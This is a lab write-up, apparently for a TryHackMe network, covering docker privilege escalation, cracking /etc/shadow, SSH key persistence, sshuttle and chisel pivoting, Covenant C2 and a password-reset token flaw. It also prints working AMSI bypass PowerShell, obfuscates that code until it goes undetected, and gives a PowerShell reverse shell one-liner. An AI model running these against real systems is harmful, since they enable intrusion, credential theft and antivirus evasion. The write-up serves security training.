What this means, is we don’t want the docker container in our exploit, instead we must have been on the right idea with ubuntu, however we don’t want latest, we can specify a version for the exploit to use. From our os-release earlier we found out the version was 20.04 so maybe if we specify that it would work:
/usr/bin/docker run -v /:/mnt --rm -it ubuntu:20.04 chroot /mnt sh
Again, it was unable to find the image and can’t connect to the internet to download it. What we do know, is that there is a docker image, so that must be using an OS, can we use the same as that one?
To find this information out, we can run another docker command:
docker image ls
This provides the information on the docker image.
REPOSITORY TAG IMAGE ID CREATED SIZE <none> <none> cb1b741122e8 12 months ago 995MB <none> <none> b711fc810515 12 months ago 993MB <none> <none> 591bb8cd4ef6 12 months ago 993MB <none> <none> 88d15ba62bf4 12 months ago 993MB ubuntu 18.04 56def654ec22 15 months ago 63.2MB
This shows docker is running as ubuntu:18.04. Adding that into our command:
/usr/bin/docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh
We get a root shell on the correct system! Now we can find the root flag where we would expect it, completing this section.
Task 21 – Post Exploitation – From the Shadows
This task is all about gaining more persistent access, so grabbing the /etc/passwd and /etc/shadow files and cracking the password.
To get these files we need to do:
cat /etc/passwd cat /etc/shadow
Then copy them over to your machine. We can see there are some standard users, however there is an additional user at the end called “linux-admin”.
Once we have both files, we can run the unshadowed command which formats the 2 files into a single file ready for hashcat or john.
unshadow passwd shadow >> unshadowed.txt
This is enough to complete this section, however, what would happen if you can’t crack the password? You still wouldn’t have persistence, so let’s look at another method.
Adding an SSH key
We can add our own SSH key onto the box, allowing direct SSH into the box.
To do this, we first need to create a SSH keypair, which can be done using ssh keygen:
ssh-keygen -t rsa
This creates a private and public keypair which gets saved by default into /home/yekki/.ssh/
The idea behind this, is you put your public key onto machines you want to connect into, and keep your private key a secret on your machine only. You should never give out your private key!
Usually I would add a password, but because this is just for this, there is no need.
Now we have the files, we can put our public key on the server. The keys are stored within /root/.ssh/authorized_keys
If you navigate to the .ssh folder, you will see there is already an authorized key file, so we can just add our key to that:
You’ll notice rather than messing around with text editors, I just copied my key and used the echo command which worked easily.
Task 22 – Post Exploitation – Crack all the Things
The THM guide talks about using collab. Now I would much prefer to crack the hash on my machine, as if this is client data, you can’t be putting it into services you don’t own. So i’m much happier to do this locally. I’m also going to use john, as I find it easier.
Looking at our unshadowed file, we can see the hashes are $6$ – this means they use SHA512crypt. This might take a while!
john unshadowed.txt -w /usr/share/wordlists/rockyou.txt --format=SHA512crypt
For some reason john finished very quickly without any results, so let’s instead try out hashcat.
hashcat -a 0 -m 1800 unshadowed.txt /usr/share/wordlists/rockyou.txt
That’s more like it. 21 hours expected runtime within my VM. Trying on my base which has access to my graphics card (a poorly GTX 960), the time is reduced down to 53 minutes, which seems more reasonable.
After 24 minutes (and a nice break away from the screen) a password pops out from hashcat.
linuxrulez is the only password that drops out, this is for the linux-admin user, entering this is enough to complete this section.
Task 23 – Pivoting – Digging a tunnel to nowhere
This is one of the sections I am really excited for within Holo. It’s quite rare within CTFs to be able to do any pivoting, so this should be fun, the one on Wreath certaintly was!
Before you can pivot, you do need to know where you are in the network and where you are trying to get to. I have no shame in saying I am utterly lost as to the answer to those questions, so let’s try and work that out first. I tend to do this by creating network diagrams with my attack chains and I have found that draw.io is perfect for this (or just a pen and paper).
The above diagram shows our route, we went via a docker container and back to the host that had the 4 websites right back at the start. Then we got root on that via docker, we added in our SSH key so we now have direct access to that box via SSH as either the root user or the linux-admin user with the cracked password. Looking at my THM dashboard, two new IP have appeared, which are 10.200.142.30 and 10.200.142.31. I cannot ping this from my host, so instead I will have to pivot through the webserver (L-SRV01) host to gain access to it.
Previously I have used the tool sshuttle and it works really well, so let’s try and set up a pivot using that first. sshuttle simulates a VPN, allowing routed traffic without the use of proxychains, it does however require SSH access and works on Linux targets only (I think).
This may not be installed by default so you may have to run:
sudo apt install sshuttle
The command requires a few bits of information, these include the username and address of your pivot target, a keyfile if you are using a key pair (which we are), the subnet you want to gain access too and you need to remove the IP you are connecting too, otherwise everything gets very confused. This translates to:
sshuttle -r user@address --ssh-cmd "ssh -i KEYFILE" SUBNET -x <IP>
For our usage here we have:
sshuttle -r root@admin.holo.live --ssh-cmd "ssh -i /home/yekki/.ssh/id_rsa" 10.200.142.0/24 -x 10.200.142.33
This should return a response of
c : Connected to server.
Now that this connection is up, we should be able to ping the target host. After some testing ping wasn’t found to be working, so on the SSH box, I ran an nmap agaisnt the target and found a few ports open:
Scanning ip-10-200-142-31.eu-west-1.compute.internal (10.200.142.31) [1000 ports] Discovered open port 22/tcp on 10.200.142.31 Discovered open port 3389/tcp on 10.200.142.31 Discovered open port 3306/tcp on 10.200.142.31 Discovered open port 445/tcp on 10.200.142.31 Discovered open port 443/tcp on 10.200.142.31 Discovered open port 139/tcp on 10.200.142.31 Discovered open port 80/tcp on 10.200.142.31 Discovered open port 135/tcp on 10.200.142.31
With port 80 open, I attempted to curl the page, and where the ping failed, a curl succeeded. I checked the output from the Curl on the SSH box and it matched, so our pivot is a success.
Also connecting to port 22 was a success for SSH, so I am confident that my sshuttle connection is working. To try and work it out why the ping I asked the question on my twitter and it turns out sshuttle does not support ICMP.
Now that we have sshuttle working. Let’s also look at Chisel as that can work on Windows environments. The first thing to note is you need a client installed on both your host and the target machine. These can be obtained from the releases in the GitHub. I downloaded the “chisel_1.7.6_linux_amd64.gz” package and unzipped it on my host
gzip -d chisel_1.7.6_linux_amd64.gz
I then sent a copy over to the target machine using SCP, which is a really useful tool.
scp -i /home/yekki/.ssh/id_rsa chisel_1.7.6_linux_amd64 root@10.200.142.33:/tmp/chisel
This uses SSH and my root SSH key to copy the chisel binary across. Next we need to create the connection between the hosts.
On your local machine you need to set that as a server and set the port to listen for the incoming connection
./chisel server -p LISTEN_PORT --reverse & ./chisel server -p 9000 --reverse &
Then on your compromised “middle” box, you need to set that as the client
./chisel client ATTACKING_IP:LISTEN_PORT R:socks & ./chisel client 10.50.139.26:9000 R:socks &
Once this is done, on your middle machine, you should see “client: Connected”.
To use the tunnel that has been created, you need to add a line to your proxychains, my kali has /etc/proxychains4.conf so I’ll use that:
sudo nano /etc/proxychains4.conf
You’ll notice on your server it shows chisel listening on 127.0.0.1:1080 as a socks proxy, so this is what we add into the config file.
socks5 127.0.0.1 1080
I also had to remove the default TOR proxy. Save the file, then when you run a command you need to prefix it with “proxychains <command>”
proxychains curl 10.200.142.31
This then brings back the webpage:
The same can also be done for 10.200.142.30 with a Windows Server webpage returned.
Just to make sure we have got everything we need, I undertook a full nmap scan of the entire range, which resulted in 5 hosts being available:
-
- 10.200.142.30
- 10.200.142.31
- 10.200.142.32
- 10.200.142.33
- 10.200.142.35
The port scan helps identify .30 as the domain controller due to the ports open. The other hosts have fewer ports open, let’s leave those until we are on the right section!
Task 24 – Command and Control – Command your Foes and Control your Friends
C2 time! There are a heap of C2’s to pick from, previously I’ve used Empire (and the Starkiller GUI), Posh C2 and Cobalt Strike. Rather than dropping into those, especially the paid for CS i’ll stick with Covenant which is the THM one for Holo.
To install Covenant onto our Kali box, we first need to get .net. As Kali is based on Debian, we can follow the instructions to install the apt manager which are available on the Microsoft site.
First download and install the packages.
wget https://packages.microsoft.com/config/debian/11/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb rm packages-microsoft-prod.deb
Next we need to install the SDK so that we can develop apps and make it all work.
sudo apt-get update sudo apt-get install -y apt-transport-https sudo apt-get update sudo apt-get install -y dotnet-sdk-6.0
As we are running kali, the apt-get update takes a while but we get there.
This is now done and we should have the pre-requisites. Next is downloading the Covenant C2 from GitHub.
git clone --recurse-submodules https://github.com/cobbr/Covenant
I then moved the folder into /opt/ as that makes more sense than in my working directory
sudo mv Convenant /opt/
Then we run it:
sudo dotnet run --project /opt/Covenant/Covenant
Patience is key here, it took a while to install, then once it is, remember it’s over https so you need to manually add that to the browser (might have lost a bit of time there).
Enter some credentials and we are in!
Task 25 – Command and Control – Bug on the Wire
Within Covenant and any C2 there are 4 main stages, they are named differently depending on the C2 but roughly mean the same thing:
-
- creating a listener
- generating a stager or launcher
- deploying a grunt
- utilizing the grunt
A listener is what listens on your box, the equivalent to multi/handler or nc -nvlp 9999.
A stager is also known as a launcher, this is the malicious code used to execute on the machine and gain that connection
A grunt is the name for the reverse connection, they are the “beacon” which is then used to run commands and tools on the remote machine.
Let’s create a listener first.
Click on the listener tab on the right hand side, and you get to create a listener. We can use a http listener, it listens over HTTP to mimic regular web-traffic in an attempt to avoid detection.
We can change all the settings to what we need.
-
- Name – Yekki-1
- BindAddress – Leave this as all interfaces
- BindPort – Leave this as 80
- ConnectPort – This is the connection back from the remote host, we will need to change this to 53 (DNS) to gain a reverse shell on the webserver box, like we did in the earlier section.
- ConnectAddress – This is the address, for this we will use the tun0 address
- Click create, and we now have a listener. Perfect!
Task 26 – Command and Control – The Blood Oath
Now we have a listener, we need some code to execute and connect back to it. This is where a launcher comes in.
As per the guidance, we want to start a binary launcher, this allows us to use our own binary to launch the grunt, rather than relying on system tools.
Click Launcher on the left hand side and click Binary.
Check that the listener is correct and as our listener is HTTP we will leave the implant as a GruntHTTP.
The other options are specific for the launcher, things like jitter and delay are used to attempt to avoid AV by being variable in their call backs, and allowing you to “sleep” the c2 beacon. For this we don’t need to change any of those.
Click Generate.
This creates an .exe called GruntHTTP. Click download and you now have a malicious C2 payload ready to let fly.
As it’s an .exe, we need to run it on a Windows machine, which we don’t have access too yet. So let’s save that for later.
Task 27 – Command and Control – We ran out of Halo and YAML references…
Covenant doesn’t have a lot of tools pre-built, so we need to convert C# payloads to work within Covenant, this does help us evade AV as we can change the payloads, but it is a bit of a faff for now.
We are told that we will need the SharpEDRChecker tool later on, so let’s try and get this. I found this section a bit odd, so don’t worry if you’ve got a bit lost, let’s try and work through it.
First up, the SharpEDRChecker tool is available on Github within PwnDexters repo. Let’s get that down onto our machine:
git clone https://github.com/PwnDexter/SharpEDRChecker.git
This should be the entire source code, which includes the .SLN project file for the C# code. As this is already C# I think we can just move this into the right Convenant folder which for me is:
/opt/Covenant/Covenant/Data/ReferenceSourceLibraries
So we do:
mv SharpEDRChecker/ /opt/Covenant/Covenant/Data/ReferenceSourceLibraries
Now that project hasn’t been built, so it won’t do anything yet. So we need to rebuild Covenant, and as part of that rebuild, dotnet will also build the SharpEDRChecker tool.
Exit Covenant and re-run:
sudo dotnet run --project /opt/Covenant/Covenant
Once finished, re-loading the webpage, we can go to “Tasks” and “Reference Source Libraries”. This lists all projects within that folder, SharpEDRChecker appears to be missing though.
Looking through the files, I noticed a couple of files were executable in the other folders so I changed some files:
chmod +x SharpEDRChecker.sln chmod +x SharpEDRChecker.csproj chmod +x Program.cs
Then again re-loaded Covenant. Again, the program was not there.
I’m going to park this and come back to it when I need to for a further task.
Task 28 – Web App Exploitation – Hide yo’ Kids, Hide yo’ Wives, Hide yo’ Tokens
Now that we have the sshuttle setup, we can look at the internal network. In Task 23 we did a full port scan through the tunnel and found the following 5 hosts available:
-
- 10.200.142.30
- 10.200.142.31
- 10.200.142.32
- 10.200.142.33
- 10.200.142.35
However, since doing this I had to re-join the room so my IP addresses have changed, therefore I had to re-add my SSH key my new sshuttle command is:
sshuttle -r root@admin.holo.live --ssh-cmd "ssh -i /home/yekki/.ssh/id_rsa" 10.200.141.0/24 -x 10.200.141.33
And the 142 subnet has changed to 141, so my hosts are:
-
- 10.200.141.30
- 10.200.141.31
- 10.200.141.32
- 10.200.141.33
- 10.200.141.35
As we know the hosts, we can do an nmap scan on the compromised box (as nmap is installed for us), we get a lot of results:
Nmap scan report for ip-10-200-141-30.eu-west-1.compute.internal (10.200.141.30) Host is up (0.0012s latency). Not shown: 987 closed ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server MAC Address: 02:8D:D4:9E:52:A5 (Unknown) Nmap scan report for ip-10-200-141-31.eu-west-1.compute.internal (10.200.141.31) Host is up (0.00097s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 3306/tcp open mysql 3389/tcp open ms-wbt-server MAC Address: 02:C5:14:C9:C0:17 (Unknown) Nmap scan report for ip-10-200-141-32.eu-west-1.compute.internal (10.200.141.32) Host is up (0.00033s latency). Not shown: 999 filtered ports PORT STATE SERVICE 3389/tcp open ms-wbt-server MAC Address: 02:73:AB:F7:27:17 (Unknown) Nmap scan report for ip-10-200-141-35.eu-west-1.compute.internal (10.200.141.35) Host is up (0.00088s latency). Not shown: 995 closed ports PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server MAC Address: 02:38:C5:D3:8A:BD (Unknown)
We have a fair few ports to look at, including a few HTTP ports. We should be able to access these from our box due to the sshuttle connection.
The ports on .30 and .35 bring back the IIS landing page, however on .31 we get a login page, which looks similar to the one we had before. So far throughout this engagement we have found 3 different usernames and 3 different passwords:
Usernames:
-
- linux-admin
- gurag
- admin
Passwords:
-
- !123SecureAdminDashboard321!
- DBManagerLogin!
- linuxrulez
Before doing anything else, it will be trying all these combinations, which can be done in Burp. Capture the request and send it to intruder. Set the positions and on the attack type, instead of sniper (which changes 1 field with each payload item each turn) we want to use clusterbomb (which will use multiple wordlists and try all combinations together). This will ensure all usernames and attempted with all passwords.
Then in Payloads, add the username list to Payload set 1 and the passwords to Payload set 2.
Click Start Attack and it will run through each of the 9 iterations.
All the response return with a 200 status and similar lengths (337 – 356) which indicates these combinations were not correct. However, 3 of the attacks returned additional information:
"Invalid Username or Password"
This was for the gurag user, whereas the other two users returned no information. This is likely to be the correct username for this service.
Heading back to the login page, there is a Forgot Password mechanism, we might be able to use this with the valid username.
Putting guarg into the field provides us with information that an e-mail has been sent. In addition to this, we are provided with a user_token as a cookie.
If we do the same test with a non-valid username, we get a different message of “Sorry, no user exists on our system with that username”. Therefore there are 2 ways to enumerate the usernames within this application and we are now confident that guarg is the correct user.
The request for the forgotten password page is:
GET /password_reset.php?user=gurag&user_token= HTTP/1.1 Host: 10.200.141.31 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://10.200.141.31/reset_form.php? Cookie: PHPSESSID=sbqd99adqm56pgpopgu3rb884a Upgrade-Insecure-Requests: 1
The GET request includes the user and the user_token. The user_token is returned within the response:
HTTP/1.1 200 OK Date: Wed, 26 Jan 2022 20:36:17 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11 X-Powered-By: PHP/7.4.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: user_token=4a8e3a8647412785fbce483c24e72cc2d507f37f7c15a8fb9f36307fc0f40dcca1593334c0a9d7ef82897557eef7075a825c Content-Length: 65 Connection: close Content-Type: text/html; charset=UTF-8 An email has been sent to the email associated with your username
If we go back to the forgot password and re-submit the request, this time adding in the user_token when intercepting the request, we are forwarded to a page with a box for the new password. Bingo!
This successfully updates the password and provides us with a flag! In addition to that, we also have all the information required for the questions in this section.
The size question took me a while, as I didn’t know what it wanted, it turned out to be the length of the string
user_token=4a8e3a8647412785fbce483c24e72cc2d507f37f7c15a8fb9f36307fc0f40dcca1593334c0a9d7ef82897557eef7075a825c
This is 111. For some reason it was then -1 to make an answer of 110 (I had to look that one up as I don’t know why).
Task 29 – Web App Exploitation – Thanks, I’ll let myself in.
Now that we have our username and password combo, we can login to the application. There is a file upload, so I am assuming it will be an RCE with a .php extension.
Within kali there are a bunch of useful files, including a .php reverse shell script (pentestmonkeys), copying that to my working folder and updating the $ip and $port variables, we then try to upload the file. We get a return message that the file has been uploaded.
Looking at the main page, there is already an image, when loading image we are taken to:
http://10.200.141.31/Gawr.png
Therefore, we can assume our upload would be:
http://10.200.141.31/php-reverse-shell.php
However, we get a 404 not found error. When attemtping to re-upload the file, we get the following error:
Sorry, file already exists.Sorry, your file was not uploaded.
This would indicate the file is there somewhere, we just need to find the upload directory.
Very confusingly, I looked at the task details for this, and it showed some JavaScript being added to the upload page, restricting anything that wasn’t a jpeg. I’ve intercepted the response and found this bit of code:
<script> window.onload = function() { var upload = document.getElementById("fileToUpload"); upload.value=""; upload.addEventListener("change",function(event) { var file = this.files[0]; if (file.type != "image/jpeg") { upload.value=""; alert("dorkstork server bork"); } }); }; </script>
Therefore I can remove this, I then get the same uploaded message, so for some reason this JavaScript wasn’t doing anything in my browser.
Anyway, there is EDR on this machine, so it’s likely our payload is being removed. Let’s upload a non-malicious php file and see if we can see it to check this.
<?php echo '<p>Hello World</p>'; ?>
Uploading this, again gives us success, but a 404 when attempting to visit it. Uploading a genuine jpeg, we get the success message but still can’t load it.
After a bit of head scratching, there is an /images/ directory, where the files are saved. This then allows you to run any PHP or look at any images. However there is AV on the box which removes any obvious malicious PHP scripts before anything can be run.
Task 30 – AV Evasion – Basically a joke itself….
Before we start, I don’t know much about AV Evasion, so this is a learning curve for me, i’ll try and explain everything as much as I understand it, but this may be limited.
The details provide a good explanation of AMSI, I’m not going to try and repeat or simplify it, but basically all I know if a lot of tools have an “unhook AMSI” bit of code, such as the powerpic module in cobalt strike, which is really important to stop in-memory applications getting killed by Defender.
Task 31 – AV Evasion – THEY WONT SEE ME IF I YELL!
This section is all about the AMSI evasion and unhooking. What I’ve been told in the past is to use amsi.fail and try those within the code to unhook amsi. I guess these will start or are already caught by Defender but maybe a small modification can get around that as they use genuine windows commands.
The task uses two different PowerShell scripts, the first from Matt Gaeber:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
The second is longer and looks more involved by BC-Security (and Tal Liberman):
$MethodDefinition = " [DllImport(`"kernel32`")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
Remember at the start when we downloaded that 20GB VM? Well it’s time to boot that up and open PowerShell ISE to run these scripts and see what happens.
The VM is Windows 11 and no errors are returned. However when I run these on my Windows 10 VM, both scripts are blocked due to malicious files. This is really surprising, and I can only assume that AMSI on Windows 11 works differently, so therefore the code doesn’t work in the intended way?
Therefore, I’m going to use my Windows 10 VM for this, otherwise I won’t know if any of the obfuscation works as intended.
Task 32 – AV Evasion – AMSIception
We now need to obfuscate the above scripts to make them bypass detection and actually unhook AMSI so we can run malicious stuff!
The task has good information about what we are trying to achieve, and basically trying to remove anything that will flag AMSI. To do this, we can use AMSITrigger, so download that onto your dev machine (or Windows 10 machine).
To run that, we just execute the program:
.\AmsiTrigger_x64.exe
I’ve also copied the scripts from the previous task into “Code1.txt” and “Code2.txt”. To check what gets picked up, we can run
.\AmsiTrigger_x64.exe -i .\Code1.txt -f 1
Which returns with:
[+] "AmsiUtils" [+] "amsiInitFailed"
This means that these two commands get caught by AMSI and therefore report this code as malicious. Doing the same with the second code, we get:
[+] "::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);Â [system.runtime.interopservices.marshal]::copy("
So again, these are the parts that would need obfuscating.
Let’s take the first script and try and get that clean. The original script is:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
And we have issues with “amsiutils” and “amsiinitfailed”, so let’s obfuscate those. First up, let’s try concatenation. This is basically just splitting the word up, so it’s not a single word:
$utils = 'Am' + 'si' + 'Ut' + 'ils' $init = 'ams' + 'iIni' + 'tFai' + 'led' [Ref].Assembly.GetType('System.Management.Automation.'$utils).GetField($init,'NonPublic,Static').SetValue($null,$true)
You can see I’ve created two variables, called $utils and $init. Those variables have the previous words in them, but the words have been split up.
Let’s run that through AmsiTrigger and see what happens:
[+] "ams' + 'iIni' + 'tFai' + 'led'
This was raised as an issue, so not quite there. Even after fully splitting it up, it still gets caught. Let’s try a reorder to see if that helps. Unfortunately that still doens’t work.
Let’s instead use type acceleration – The description and help in the task is frankly terrible. So let’s try and work it out ourselves.
A type accelerator is a way to shorten a command so it can be used within scripts easily. There a whole bunch built into PowerShell that can be found using:
[psobject].Assembly.GetType(“System.Management.Automation.TypeAccelerators”)::get
This lists all the current ones, including things like Alias, PhysicalAddress and other useful functions for sysadmins.
Instead of using these, we need to create our own, which will then reference our malicious amsi-bypass code. To do this I took the code from the task:
[PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::Add('Yekki', [system.runtime.interopservices.marshal])
I think what this does, is the first half get’s all the typeaccelerators from GetType, then adds a new accelerator called Yekki. This accelerator calls the Marshal class which is important as this:
Provides a collection of methods for allocating unmanaged memory, copying unmanaged memory blocks, and converting managed to unmanaged types, as well as other miscellaneous methods used when interacting with unmanaged code.
Source: https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal?view=net-6.0
This then means that it puts whatever we do into unmanaged memory blocks, which I assume change often enough that AMSI can’t catch it. (This might be wrong)
If we then re-list the accelerators, we see our new one at the end of the list.
We can now use this within the code. Looking at the code for the 2nd bypass, we see the end line has [system.runtime.interopservices.marshal]
$MethodDefinition = " [DllImport(`"kernel32`")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
If we change that to use our new accelerator we get:
$MethodDefinition = " [DllImport(`"kernel32`")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [Yekki]::copy($buf, 0, $BufferAddress, 6);
This now uses our new accelerator rather than the built in Windows call and might be enough to bypass defender. We saw earlier that the final line (in addition to two others) were caught using the AmsiTrigger program. Let’s re-run that and see if that final line is now clean:
[+] "]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);Â [Yekki]::copy($"
It does not appear to be. Let’s add some concatenation to the first two lines, and see if we can clean this up.
$Virtual = 'Virt' + 'ualPro' + 'tect' + '($Buff' + 'erAddre' + ss, $Siz' + 'e, $Protec' + 'tFlag, [Ref]$Old' + 'ProtectFlag);' $MethodDefinition = " [DllImport(`"kernel32`")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32]::$Virtual $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [Yekki]::copy($buf, 0, $BufferAddress, 6);
There is now a variable for $Virtual. Running this through the AMSITrigger program, we get the response of:
[+] AMSI_RESULT_NOT_DETECTED
I think this is good and means this won’t get blocked. We will wait to see in future tasks though!
Task 33 – AV Evasion – JU57 0BFU$C47E 1T
This section looks at obfuscating our launcher. Now the launcher was back in the C2 sections, we can create a launcher from within Covenant. To do this:
-
- Run Covenant (sudo dotnet run –project /opt/Covenant/Covenant)
- Open Covenant (https://127.0.0.1:7443/)
- Click Launchers in the left hand menu
- Select PowerShell (as we are obfuscating PowerShell scripts)
- Click Generate
- Copy and Paste the Launcher Code into Windows
It’s 99% certain that Defender will remove this as a known Covenant payload, so allow the file to be on the machine. I allowed my working folder as an Exclusion within Defender which seemed to work well. Next up I downloaded Invoke-Obfuscation. I’ve seen this tool used on engagements and it seems really cool. To use this, first we need to import the module:
Import-Module .\Invoke-Obfuscation.psd1
However, this all gets blocked by AV, which is annoying, as we need AV on to test the obfuscation. So what i’ll do, is run the Obfuscation on the Dev VM, then move them to my host with Defender enabled to see what happens. I also need to bypass the execution policy.
Set-ExecutionPolicy bypass
Now we can Import the Module. Once that is imported, to get to the menu:
Invoke-Obfuscation
This provides all the options. We are looking at obfuscating an entire string, so let’s try this:
STRING
We are informed we need to set scriptblock or scriptpath. So let’s set the scriptblock
SET SCRIPTBLOCK <launcher payload> STRING\1
This provides us with a obfuscated code, however it also provides a warning, that we are exceeding the character length:
WARNING: This command exceeds the cmd.exe maximum length of 8190. Its length is 17239 characters.
This is super annoying. To try and save some time, I attempted to use the 1 liner on the task description:
Invoke-Obfuscation -ScriptBlock {'Payload Here'} -Command 'Token\\String\\1,2,\\Whitespace\\1' -Quiet -NoExit
I removed the -Quiet so I could see what was happening, and unfortunately this errored out for invalid options and the lack of “String tokens”.
Looks like we need to try and do this manually. Maybe the “Compress” option will help. Doing a:
SHOW OPTIONS
This shows that our launcher script is in the ScriptBlock variable.
COMPRESS\1
Again the script is too long. Going back to Covenant I created a new Launcher this time removing ValidateCert and UseCertPinning options, and the hidden PowerShell option as we won’t need this.
Re-creating the launcher and copying it over to Invoke-Obfuscation, however the length remains the same, which is too long.
Instead of this, I’m going to use a PowerShell Reverse shell one-liner and run that through Invoke-Obfuscation and hope it works. The one I have chosen is from egre55.
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",8008);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Within Invoke-Obfuscation I can add that as the script block, remembering to change the IP address.
